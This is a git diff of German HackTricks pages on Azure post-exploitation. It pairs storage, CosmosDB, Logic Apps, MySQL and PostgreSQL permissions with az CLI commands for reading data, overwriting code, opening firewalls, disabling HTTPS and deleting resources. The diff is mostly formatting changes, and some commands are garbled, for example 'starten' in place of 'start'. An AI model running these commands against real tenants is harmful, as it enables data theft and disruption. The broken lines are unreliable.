dieser Berechtigung kann die **Blobs** (Dateien) innerhalb eines Containers **auflisten** und die Dateien **herunterladen**, die möglicherweise **sensible Informationen** enthalten. +Ein Principal mit dieser Berechtigung kann die Blobs (Dateien) innerhalb eines Containers **auflisten** und die Dateien **herunterladen**, die möglicherweise **sensible Informationen** enthalten. ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ @@ -24,9 +24,9 @@ az storage blob download \ --container-name \ -n file.txt --auth-mode login ``` -### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write +### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write` -Ein Principal mit dieser Berechtigung wird in der Lage sein, **Dateien in Containern zu schreiben und zu überschreiben**, was ihm möglicherweise ermöglichen könnte, Schaden anzurichten oder sogar Privilegien zu eskalieren (z. B. einige im Blob gespeicherte Codes zu überschreiben): +Ein Principal mit dieser Berechtigung wird in der Lage sein, **Dateien in Containern zu schreiben und zu überschreiben**, was ihm möglicherweise ermöglicht, Schaden anzurichten oder sogar Privilegien zu eskalieren (z. B. einige im Blob gespeicherte Codes überschreiben): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md index 6ca83df1d..96bcbd74b 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md @@ -5,27 +5,21 @@ ## CosmosDB Post Exploitation Für weitere Informationen zur SQL-Datenbank siehe: -{% content-ref url="../az-services/az-cosmosDB.md" %} -[az-cosmosDB.md](../az-services/az-cosmosDB.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-cosmosDB.md +{{#endref}} -### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write" +### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write` Mit dieser Berechtigung können Sie Azure Cosmos DB-Konten erstellen oder aktualisieren. Dies umfasst die Änderung von kontobezogenen Einstellungen, das Hinzufügen oder Entfernen von Regionen, das Ändern von Konsistenzstufen und das Aktivieren oder Deaktivieren von Funktionen wie Multi-Region-Schreibvorgängen. - -{% code overflow="wrap" %} ```bash az cosmosdb update \ --name \ --resource-group \ --public-network-access ENABLED ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write` Mit dieser Berechtigung können Sie Container (Sammlungen) innerhalb einer SQL-Datenbank eines Azure Cosmos DB-Kontos erstellen oder ändern. Container werden verwendet, um Daten zu speichern, und Änderungen an ihnen können die Struktur und Zugriffsarten der Datenbank beeinflussen. - -{% code overflow="wrap" %} ```bash # Create az cosmosdb sql container create \ @@ -43,25 +37,17 @@ az cosmosdb sql container update \ --name \ --ttl 3600 ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read` Mit dieser Berechtigung können Sie SQL-Datenbanken innerhalb eines Azure Cosmos DB-Kontos erstellen oder ändern. Dies ermöglicht die Verwaltung der Datenbankstruktur und das Hinzufügen neuer Datenbanken zum Konto. Während diese Berechtigung die Erstellung von Datenbanken ermöglicht, könnte unsachgemäße oder unbefugte Nutzung zu unnötigem Ressourcenverbrauch, erhöhten Kosten oder betrieblichen Ineffizienzen führen. - -{% code overflow="wrap" %} ```bash az cosmosdb sql database create \ --account-name \ --resource-group \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action" +### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action` Mit dieser Berechtigung können Sie die Failover-Priorität von Regionen für ein Azure Cosmos DB-Datenbankkonto ändern. Diese Aktion bestimmt die Reihenfolge, in der Regionen während eines Failover-Ereignisses primär werden. Unsachgemäße Verwendung dieser Berechtigung kann die hohe Verfügbarkeit der Datenbank stören oder unbeabsichtigte betriebliche Auswirkungen haben. - -{% code overflow="wrap" %} ```bash az cosmosdb failover-priority-change \ --name \ @@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \ --failover-policies ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action" +### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action` Mit dieser Berechtigung können Sie die primären oder sekundären Schlüssel für ein Azure Cosmos DB-Konto regenerieren. Dies wird typischerweise verwendet, um die Sicherheit zu erhöhen, indem alte Schlüssel ersetzt werden, kann jedoch den Zugriff auf Dienste oder Anwendungen stören, die auf die aktuellen Schlüssel angewiesen sind. - -{% code overflow="wrap" %} ```bash az cosmosdb keys regenerate \ --name \ @@ -82,13 +64,9 @@ az cosmosdb keys regenerate \ --key-kind ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read` Mit dieser Berechtigung können Sie Trigger innerhalb eines Containers einer SQL-Datenbank in einem Azure Cosmos DB-Konto erstellen oder ändern. Trigger ermöglichen es Ihnen, serverseitige Logik als Reaktion auf Operationen auszuführen. - -{% code overflow="wrap" %} ```bash az cosmosdb sql trigger create \ --account-name \ @@ -100,12 +78,8 @@ az cosmosdb sql trigger create \ --type Pre \ --operation All ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read` Mit dieser Berechtigung können Sie gespeicherte Prozeduren innerhalb eines Containers einer SQL-Datenbank in einem Azure Cosmos DB-Konto erstellen oder ändern. Gespeicherte Prozeduren in Cosmos DB sind serverseitige JavaScript-Funktionen, die es Ihnen ermöglichen, Logik zur Verarbeitung von Daten oder zur Durchführung von Operationen direkt innerhalb der Datenbank zu kapseln. - -{% code overflow="wrap" %} ```bash az cosmosdb sql stored-procedure create \ --account-name \ @@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \ --name \ --body 'function sample() { return "Hello, Cosmos!"; }' ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read` Mit dieser Berechtigung können Sie Trigger innerhalb eines Containers einer SQL-Datenbank in einem Azure Cosmos DB-Konto erstellen oder ändern. Trigger ermöglichen es Ihnen, serverseitige Logik als Reaktion auf Operationen wie Einfügungen, Aktualisierungen oder Löschungen auszuführen. - -{% code overflow="wrap" %} ```bash az cosmosdb sql trigger create \ --account-name \ @@ -132,12 +102,8 @@ az cosmosdb sql trigger create \ --type Pre \ --operation All ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write" +### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write` Mit dieser Berechtigung können Sie Sammlungen innerhalb von MongoDB-Datenbanken in einem Azure Cosmos DB-Konto erstellen oder ändern. Sammlungen werden verwendet, um Dokumente zu speichern und die Struktur sowie die Partitionierung für Daten zu definieren. - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb collection create \ --account-name \ @@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \ --database-name \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read` Mit dieser Berechtigung können Sie neue MongoDB-Datenbanken innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Bereitstellung neuer Datenbanken zum Speichern und Verwalten von Sammlungen und Dokumenten. - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb database create \ --account-name \ --resource-group \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read` Mit dieser Berechtigung können Sie neue MongoDB-Rollen-Definitionen innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Definition benutzerdefinierter Rollen mit spezifischen Berechtigungen für MongoDB-Benutzer. - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb role definition create \ --account-name \ @@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \ "Roles": [] }' ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read` Mit dieser Berechtigung können Sie neue MongoDB-Benutzerdefinitionen innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Bereitstellung von Benutzern mit spezifischen Rollen und Zugriffslevels auf MongoDB-Datenbanken. -{% code overflow="wrap" %} ```bash az cosmosdb mongodb user definition create \ --account-name \ @@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \ ] }' ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index a8a3db960..ea20ecc19 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -10,7 +10,7 @@ Für weitere Informationen zu Dateifreigaben siehe: ../az-services/az-file-shares.md {{#endref}} -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read` Ein Principal mit dieser Berechtigung kann die Dateien innerhalb einer Dateifreigabe **auflisten** und die Dateien **herunterladen**, die möglicherweise **sensible Informationen** enthalten. ```bash @@ -28,9 +28,9 @@ az storage file download \ --dest /path/to/down \ --auth-mode login --enable-file-backup-request-intent ``` -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action` -Ein Principal mit dieser Berechtigung wird in der Lage sein, **Dateien in Dateifreigaben zu schreiben und zu überschreiben**, was ihm möglicherweise ermöglicht, Schaden anzurichten oder sogar Privilegien zu eskalieren (z. B. einige im Dateifreigabe gespeicherte Codes überschreiben): +Ein Principal mit dieser Berechtigung kann **Dateien in Dateifreigaben schreiben und überschreiben**, was ihm möglicherweise ermöglicht, Schaden anzurichten oder sogar Privilegien zu eskalieren (z. B. einige in einer Dateifreigabe gespeicherte Codes überschreiben): ```bash az storage blob upload \ --account-name \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md index ec4fbcbb6..b190974a0 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md @@ -5,14 +5,12 @@ ## Logic Apps Datenbank Post-Exploitation Für weitere Informationen zu Logic Apps siehe: -{% content-ref url="../az-services/az-logic-apps.md" %} -[az-logic-apps.md](../az-services/az-logic-apps.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-logic-apps.md +{{#endref}} -### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` Mit diesen Berechtigungen können Sie Logic App-Workflows ändern und deren Identitäten verwalten. Insbesondere können Sie systemzugewiesene und benutzerzugewiesene verwaltete Identitäten für Workflows zuweisen oder entfernen, was es der Logic App ermöglicht, sich zu authentifizieren und auf andere Azure-Ressourcen ohne explizite Anmeldeinformationen zuzugreifen. - -{% code overflow="wrap" %} ```bash az logic workflow identity remove/assign \ --name \ @@ -20,49 +18,32 @@ az logic workflow identity remove/assign \ --system-assigned true \ --user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" ``` -{% endcode %} - -### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write" +### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write` Mit diesen Berechtigungen können Sie Logic Apps erstellen oder aktualisieren, die auf einem App Service Plan gehostet werden. Dazu gehört das Ändern von Einstellungen wie das Aktivieren oder Deaktivieren der HTTPS-Durchsetzung. - -{% code overflow="wrap" %} ```bash az logicapp update \ --resource-group \ --name \ --set httpsOnly=false ``` -{% endcode %} - -### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action" +### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action` Mit dieser Berechtigung können Sie eine Webanwendung starten, stoppen oder neu starten, einschließlich Logic Apps, die auf einem App Service Plan gehostet werden. Diese Aktion stellt sicher, dass eine zuvor gestoppte Anwendung online gebracht wird und ihre Funktionalität wieder aufnimmt. Dies kann Arbeitsabläufe stören, unbeabsichtigte Operationen auslösen oder Ausfallzeiten verursachen, indem Logic Apps unerwartet gestartet, gestoppt oder neu gestartet werden. - -{% code overflow="wrap" %} ```bash az webapp start/stop/restart \ --name \ --resource-group ``` -{% endcode %} - - -### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write" +### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write` Mit dieser Berechtigung können Sie Einstellungen für Webanwendungen konfigurieren oder ändern, einschließlich Logic Apps, die auf einem App Service Plan gehostet werden. Dies ermöglicht Änderungen an Anwendungseinstellungen, Verbindungszeichenfolgen, Authentifizierungskonfigurationen und mehr. - -{% code overflow="wrap" %} ```bash az logicapp config appsettings set \ --name \ --resource-group \ --settings "=" ``` -{% endcode %} - -### "Microsoft.Logic/integrationAccounts/write" -Mit dieser Berechtigung können Sie Azure Logic Apps-Integrationskonten erstellen, aktualisieren oder löschen. Dazu gehört die Verwaltung von Integrationskontenebene-Konfigurationen wie Maps, Schemata, Partner, Vereinbarungen und mehr. - -{% code overflow="wrap" %} +### `Microsoft.Logic/integrationAccounts/write` +Mit dieser Berechtigung können Sie Azure Logic Apps-Integrationskonten erstellen, aktualisieren oder löschen. Dazu gehört die Verwaltung von Integrationskonten-spezifischen Konfigurationen wie Maps, Schemata, Partner, Vereinbarungen und mehr. ```bash az logic integration-account create \ --resource-group \ @@ -71,13 +52,9 @@ az logic integration-account create \ --sku \ --state Enabled ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write` Mit dieser Berechtigung können Sie Batchkonfigurationen innerhalb eines Azure Logic Apps-Integrationskontos erstellen oder ändern. Batchkonfigurationen definieren, wie Logic Apps eingehende Nachrichten für die Batchverarbeitung verarbeiten und gruppieren. - -{% code overflow="wrap" %} ```bash az logic integration-account batch-configuration create \ --resource-group \ @@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \ "batchSize": 1048576, }' ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write` Mit dieser Berechtigung können Sie Karten innerhalb eines Azure Logic Apps-Integrationskontos erstellen oder ändern. Karten werden verwendet, um Daten von einem Format in ein anderes zu transformieren, was eine nahtlose Integration zwischen verschiedenen Systemen und Anwendungen ermöglicht. - -{% code overflow="wrap" %} ```bash az logic integration-account map create \ --resource-group \ @@ -103,12 +76,8 @@ az logic integration-account map create \ --content-type application/xml \ --map-content map-content.xslt ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write` Mit dieser Berechtigung können Sie Partner in einem Azure Logic Apps-Integrationskonto erstellen oder ändern. Partner repräsentieren Entitäten oder Systeme, die an Geschäftsprozessen (B2B) teilnehmen. - -{% code overflow="wrap" %} ```bash az logic integration-account partner create \ --resource-group \ @@ -126,12 +95,8 @@ az logic integration-account partner create \ } }' ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write` Mit dieser Berechtigung können Sie Sitzungen innerhalb eines Azure Logic Apps-Integrationskontos erstellen oder ändern. Sitzungen werden in B2B-Workflows verwendet, um Nachrichten zu gruppieren und verwandte Transaktionen über einen definierten Zeitraum zu verfolgen. - -{% code overflow="wrap" %} ```bash az logic integration-account session create \ --resource-group \ @@ -147,8 +112,6 @@ az logic integration-account session create \ } }' ``` -{% endcode %} - ### "*/delete" Mit diesen Berechtigungen können Sie Ressourcen im Zusammenhang mit Azure Logic Apps löschen. diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md index 89294716c..b6be5b88b 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md @@ -5,54 +5,40 @@ ## MySQL-Datenbank-Post-Exploitation Für weitere Informationen zur MySQL-Datenbank siehe: -{% content-ref url="../az-services/az-mysql.md" %} -[az-mysql.md](../az-services/az-mysql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-mysql.md +{{#endref}} -### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read" +### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read` Mit dieser Berechtigung können Sie neue Datenbanken innerhalb einer MySQL Flexible Server-Instanz auf Azure erstellen. Während diese Aktion selbst vorhandene Ressourcen nicht ändert, könnte eine übermäßige oder unbefugte Erstellung von Datenbanken zu Ressourcenverbrauch oder potenziem Missbrauch des Servers führen. - -{% code overflow="wrap" %} ```bash az mysql flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/backups/write" +### `Microsoft.DBforMySQL/flexibleServers/backups/write` Mit dieser Berechtigung können Sie die Erstellung von Backups für eine MySQL Flexible Server-Instanz auf Azure initiieren. Dies ermöglicht es Benutzern, On-Demand-Backups zu erstellen, die nützlich sein können, um Daten zu bestimmten Zeitpunkten zu sichern. - -{% code overflow="wrap" %} ```bash az mysql flexible-server backup create \ --name \ --resource-group --backup-name ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write" +### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write` Mit dieser Berechtigung können Sie die Einstellungen für den Advanced Threat Protection (ATP) für eine MySQL Flexible Server-Instanz auf Azure konfigurieren oder aktualisieren. Dies ermöglicht das Aktivieren oder Deaktivieren von Sicherheitsfunktionen, die darauf ausgelegt sind, anomale Aktivitäten und potenzielle Bedrohungen zu erkennen und darauf zu reagieren. - -{% code overflow="wrap" %} ```bash az mysql flexible-server threat-protection-policy update \ --name \ --resource-group \ --state ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write" +### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write` Mit dieser Berechtigung können Sie Firewallregeln für eine MySQL Flexible Server-Instanz auf Azure erstellen oder ändern. Dies ermöglicht die Kontrolle darüber, welche IP-Adressen oder -Bereiche auf den Server zugreifen können. Unbefugte oder unsachgemäße Nutzung dieser Berechtigung könnte den Server unerwünschtem oder böswilligem Zugriff aussetzen. - -{% code overflow="wrap" %} ```bash # Create Rule az mysql flexible-server firewall-rule create \ @@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action` -### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action" - -Mit dieser Berechtigung können Sie die GTID (Global Transaction Identifier) für eine MySQL Flexible Server-Instanz auf Azure zurücksetzen. Das Zurücksetzen der GTID macht alle automatisierten, bedarfsorientierten Backups und Geo-Backups, die vor der Zurücksetzungsaktion erstellt wurden, ungültig. Nach dem Zurücksetzen der GTID können Sie keine PITR (Point-in-Time-Restore) mit dem schnellsten Wiederherstellungspunkt oder durch einen benutzerdefinierten Wiederherstellungspunkt durchführen, wenn die ausgewählte Wiederherstellungszeit vor der GTID-Zurücksetzungszeit liegt. Und eine erfolgreiche Geo-Wiederherstellung ist erst nach 5 Tagen möglich. - -{% code overflow="wrap" %} +Mit dieser Berechtigung können Sie die GTID (Global Transaction Identifier) für eine MySQL Flexible Server-Instanz auf Azure zurücksetzen. Das Zurücksetzen der GTID macht alle automatisierten, bedarfsorientierten Backups und Geo-Backups, die vor der Zurücksetzungsaktion erstellt wurden, ungültig. Nach dem Zurücksetzen der GTID können Sie kein PITR (point-in-time-restore) mit dem schnellsten Wiederherstellungspunkt oder einem benutzerdefinierten Wiederherstellungspunkt durchführen, wenn die ausgewählte Wiederherstellungszeit vor der GTID-Zurücksetzungszeit liegt. Eine erfolgreiche Geo-Wiederherstellung ist erst nach 5 Tagen möglich. ```bash az mysql flexible-server reset-gtid \ --name \ --resource-group \ --gtid-set ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action" +### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action` Mit dieser Berechtigung können Sie die Konfigurationseinstellungen einer MySQL Flexible Server-Instanz auf Azure aktualisieren. Dies ermöglicht die Anpassung von Serverparametern wie Leistungstuning, Sicherheitskonfigurationen oder Betriebseinstellungen. Sie können die folgenden Parameter zusammen in einem Batch aktualisieren: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors und max_connections. - -{% code overflow="wrap" %} ```bash az mysql flexible-server parameter set-batch \ --resource-group \ --server-name \ --args max_connections= ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` Mit dieser Berechtigung können Sie eine benutzerdefinierte verwaltete Identität für MySQL flexible Server zuweisen. - -{% code overflow="wrap" %} ```bash az mysql flexible-server identity assign \ --resource-group \ --server-name \ --identity ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/stop/action" +### `Microsoft.DBforMySQL/flexibleServers/stop/action` Mit dieser Berechtigung können Sie eine PostgreSQL Flexible Server-Instanz auf Azure stoppen. Das Stoppen eines Servers kann zu vorübergehenden Dienstunterbrechungen führen, die Anwendungen und Benutzer betreffen, die von der Datenbank abhängig sind. - -{% code overflow="wrap" %} ```bash az mysql flexible-server stop \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforMySQL/flexibleServers/start/action" +### `Microsoft.DBforMySQL/flexibleServers/start/action` With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. -{% code overflow="wrap" %} ```bash -az mysql flexible-server start \ +az mysql flexible-server starten \ --name \ --resource-group ``` -{% endcode %} -### "*/delete" +### `*/delete` With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index 58af2f61a..df5c1e29d 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -2,57 +2,43 @@ {{#include ../../../banners/hacktricks-training.md}} -## PostgreSQL-Datenbank Post-Exploitation +## PostgreSQL-Datenbank-Post-Exploitation Für weitere Informationen zur PostgreSQL-Datenbank siehe: -{% content-ref url="../az-services/az-postgresql.md" %} -[az-postgresql.md](../az-services/az-postgresql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-postgresql.md +{{#endref}} -### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read` Mit dieser Berechtigung können Sie neue Datenbanken innerhalb einer Postgres Flexible Server-Instanz auf Azure erstellen. Während diese Aktion selbst vorhandene Ressourcen nicht ändert, könnte eine übermäßige oder unbefugte Erstellung von Datenbanken zu Ressourcenverbrauch oder potenziem Missbrauch des Servers führen. - -{% code overflow="wrap" %} ```bash az postgres flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write" +### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write` Mit dieser Berechtigung können Sie die Erstellung von Backups für eine Postgres Flexible Server-Instanz auf Azure initiieren. Dies ermöglicht es Benutzern, On-Demand-Backups zu erstellen, die nützlich sein können, um Daten zu bestimmten Zeitpunkten zu sichern. - -{% code overflow="wrap" %} ```bash az postgres flexible-server backup create \ --name \ --resource-group --backup-name ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read` Mit dieser Berechtigung können Sie die Einstellungen für den Advanced Threat Protection (ATP) für eine Postgres Flexible Server-Instanz auf Azure konfigurieren oder aktualisieren. Dies ermöglicht das Aktivieren oder Deaktivieren von Sicherheitsfunktionen, die darauf ausgelegt sind, anomale Aktivitäten und potenzielle Bedrohungen zu erkennen und darauf zu reagieren. - -{% code overflow="wrap" %} ```bash az postgres flexible-server threat-protection-policy update \ --name \ --resource-group \ --state ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read` Mit dieser Berechtigung können Sie Firewallregeln für eine Postgres Flexible Serverinstanz auf Azure erstellen oder ändern. Dies ermöglicht die Kontrolle darüber, welche IP-Adressen oder -Bereiche auf den Server zugreifen können. Unbefugte oder unsachgemäße Nutzung dieser Berechtigung könnte den Server unerwünschtem oder böswilligem Zugriff aussetzen. - -{% code overflow="wrap" %} ```bash # Create Rule az postgres flexible-server firewall-rule create \ @@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && 